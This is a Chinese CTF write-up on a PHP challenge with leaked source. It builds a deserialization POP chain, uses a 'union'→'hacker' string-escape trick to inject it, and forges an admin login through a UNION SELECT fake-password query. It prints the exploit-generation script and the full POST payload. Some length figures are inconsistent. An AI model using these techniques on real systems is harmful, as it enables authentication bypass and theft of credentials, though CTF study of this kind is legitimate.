扫描到www.zip,源码泄露,最重要的代码在lib.php里
代码审计:
看到这,敏感的人应该发现了,会出现替换,不禁让我想到PHP反序列化字符串逃逸,在2016年的0CTF的piapiapia出过该考点。暂时不知道有没有反序列化,好吧,接着看
按道理我们是从上到下看的,但是在15行发现了有dbCtrl类的实例化。跟进查看dbCtrl类
(由于太长了就没有截完,截取关键部分)
我们可以知道的信息:
- 用户名存在,且$this->password的md5的值与数据库查询用户密码相同。
- 或者token的值为admin
dbCtrl类结束
回到User类
代码中的查询语句为select id,password from user where username=?
这不禁又让我想起一个考点(给我的印象太深了)2019GXYCTF中的babySqli。联合注入会产生一个虚表,我们是不是可以利用这一点来构造一个假的”万能密码”?是不是我们控制了sql语句,使用
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
- $this->password=1(1的md5的值为c4ca4238a0b923820dcc509a6f75849b)
就可以通过登录密码的验证??????
我们的关注点还是在反序列化上!我们的最终目的就是要控制这个sql语句!
继续往下看(依旧在User类里)
科学的甜美气息??反序列化和魔术方法都有。那不是pop链么。经典的组合啊!(不知道的去看一下基础)。
结合上面的字符串替换可能会产生的 反序列化字符串逃逸 ,这题这么做基本没跑了。
冷静冷静,继续看。看一下这些方法干了啥
- update方法出现了我们期待已久的反序列化
$Info=unserialize($this->getNewinfo())
跟进getNewinfo()函数
这个函数可以看到,$age和$nickname使我们可控的。将Info对象序列化后经过safe())处理返回给update()进行反序列化。
这不是清楚了??
我们可以控制两个参数,两个参数如果在safe函数中的$array里被替换,导致长度发生变化(变长),因此为字符逃逸提供了可能。
更何况有魔术方法,现在开始构造POP链
构造pop链
在update.php(在源码泄露的www.zip里的文件)内发现实例化了User并且调用了User->update
然后跟进看到了User对象里的__toString()魔术方法
这个函数是要有字符串输出的时候才调用。。。emmm我们找找有没有echo,print_r等输出函数特殊字眼
来到了UpdateHelper类,发现会把sql给echo出来:
他的__destruct会输出。emmm,那思考一下
如果$sql=new User()的话,就会触发User内的__toString()魔术方法,该魔术方法内调用了$nickname属性的update()方法。虽然dbCtrl对象拥有update()方法,但是$nickname实例化成对象没意义,那个update()完全就是障眼法。继续看
POP链的重点就是要看魔术方法,这时我们看到了Info类内有Call()魔术方法,如果调用了一个不存在的属性,Call()方法就会触发,正好Info类没有update()方法,如上一条所说,如果User内的$nickname实例化为Info对象,调用不存在update()就会触发这个Call(),这个Call()魔术方法将Ctrlcase的login()函数结果输出出来。
没想到被我们当做貌似是障眼法还帮我们了一个忙
这样我们只需要$CtrlCase变量实例化为dbCtrl类的对象,这句话相当于相当于dbCtrl::login($sql),这样参数就是我们控制的了。
emmm,没错就是那个”万能密码”。
最后我们只需要对dbCtrl类里的一些变量赋值成我们需要的值即可,而且可知dbCtrl::login($sql)中的$sql参数,实际上是User类中的$age变量传入的
不出意外你应该没看懂,这里图文结合,通俗一点解释一遍:
1.我们的思路是先看到字符串替换,从而造成字符串逃逸。
2.看到了User类里的md5,思考是否会有联合注入的”万能密码”。
3.看到了反序列化和魔术方法。考虑POP链的构造
4.构造POP链:
- 看到了`UpdateHelper::__destruct()`输出字符串,所以需要将$sql实例化成User类的对象,即可在该类对象结束时,调用到`User::__toString()`
- 然后看`User::__toString()`,用$nickname变量调用了update()函数,且$age变量作为参数,我们只需要将$nicknames实例化成Info类的对象(障眼法,Info类没有update),从而可以调用Info::__call方法。
- 之后我们继续跟进到`Info::_call()`,可以看到其用$CtrCase变量调用了login()方法,且参数就是上一步通过User.age的值传进来的。这样我们只需要将这个类里的$CtrlCase变量实例化为dbCtrl类的对象,这句话就想当于调用了dbCtrl::login($sql),而且参数sql语句也是我们所控制的了,达到了我们的目的
- 最后我们只对dbCtrl类里的一些变量赋值成我们需要的值就可以了。
构造脚本:
<?php
class User
{
public $age = null;
public $nickname = null;
public function __construct()
{
$this->age = ‘select 1,”c4ca4238a0b923820dcc509a6f75849b” from user where username=?’;
$this->nickname = new Info();
}
}
class Info
{
public $CtrlCase;
public function __construct()
{
$this->CtrlCase = new dbCtrl();
}
}
class UpdateHelper
{
public $sql;
public function __construct()
{
$this->sql = new User();
}
}
class dbCtrl
{
public $name = “admin”;
public $password = “1”;
}
$o = new UpdateHelper;
echo serialize($o);
O:12:”UpdateHelper”:1:{s:3:”sql”;O:4:”User”:2:{s:3:”age”;s:70:”select 1,”c4ca4238a0b923820dcc509a6f75849b” from user where username=?”;s:8:”nickname”;O:4:”Info”:1:{s:8:”CtrlCase”;O:6:”dbCtrl”:2:{s:4:”name”;s:5:”admin”;s:8:”password”;s:1:”1”;}}}}
下面我们就需要思考如何将脚本得到的序列化串被程序反序列化呢?
先找一下反序列化的利用点,从update.php 可以跟进User类的update()函数:
这个函数的返回值是一个getNewinfo()函数的返回值,跟进这个函数:
这个函数的返回值是一个先序列化在经过safe()函数处理的Info类对象。
所以最终能够反序列化的不是我们直接传入的字符串,而是用我们的值实例化一个Info类的对象,然后对这个对象进行实例化,再对这个序列化结果进行safe()处理,最后得到的值再进行反序列化。
如果我们将脚本运行得到的payload直接用age或nickname参数传入的话,其实际上只会被当做Info类里一个很长的字符串,不能被反序列化得到执行。
所以想要发序列化我们的payload,就得控制 Info类对象的序列化串,看一下这个序列化串的格式
(假设age=20;nickname=lethe):
O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:5:"lethe";s:8:"CtrlCase";N;}
这里的原理有点类似注入,都是闭合,先看一下我们构造的payload2如下,未逃逸字符串前:
“;s:8:”CtrlCase”;O:12:”UpdateHelper”:1:{s:3:”sql”;O:4:”User”:2:{s:3:”age”;s:70:”select 1,”c4ca4238a0b923820dcc509a6f75849b” from user where username=?”;s:8:”nickname”;O:4:”Info”:1:{s:8:”CtrlCase”;O:6:”dbCtrl”:2:{s:4:”name”;s:5:”admin”;s:8:”password”;s:1:”1”;}}}}}
可以看到我们在已序列化串前面加上了";s:8:"CtrlCase";
,在最后加上了一个}
(整个长度为263),这样我们将其作为new Info($age,$nickname)
的nickname传入时,序列化的结果如下:
上图中两个箭头之间的内容就是我们传入的payload,可以看到我们在第一个箭头那里是想闭合双引号,从而使后面的内容符合序列化的规则的。但是我圈出来的那个263在序列化的规则里,限制了nickname的长度为263,所以后面长度为263的payload还是当作了一个普通字符串,而不是序列化里的内容。
这时候就需要用到字符逃逸的原理了,我们在payload2的前面加上263个**union**
,这样我上面圈出来的值就变成了**263×5+263=1578263×5+263=1578**,上面第一个箭头所指的双引号里是263个**union**
(长度为**263×5=1315263×5=1315**),当对这个序列化串进行**safe()**
函数的处理时,所有的**union**
都被替换成了**hacker**
,也就是双引号里的内容变成了263个**hacker**
(长度为**263×6=1578263×6=1578),正好等于前面的1579,如下:**
上面的图可以看出来经过safe()函数处理后,这个序列化串就被解释成了nickname变量长度为1586的重复hacker字符串,而我们的而已序列化payload,则以对象的形式作为CtrCase变量的值。
而之所前面构造的时候在最后面加一个},是因为Info类的对象只有3个变量(第一个箭头所指),当到我们第二个箭头所指的位置时,前面已经有3个变量满足了序列化串的要求了,所以加一个}来闭合整个序列化串。这样由于前面的内容已经符合反序列化的规则,所以后面的内容都将被忽略。
最终payload如下:
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion”;s:8:”CtrlCase”;O:12:”UpdateHelper”:1:{s:3:”sql”;O:4:”User”:2:{s:3:”age”;s:70:”select 1,”c4ca4238a0b923820dcc509a6f75849b” from user where username=?”;s:8:”nickname”;O:4:”Info”:1:{s:8:”CtrlCase”;O:6:”dbCtrl”:2:{s:4:”name”;s:5:”admin”;s:8:”password”;s:1:”1”;}}}}}
在update.php内post提交<font style="color:#000000;">age=123&nickname=</font>
后面接上输出结果,就会得到admin密码的md5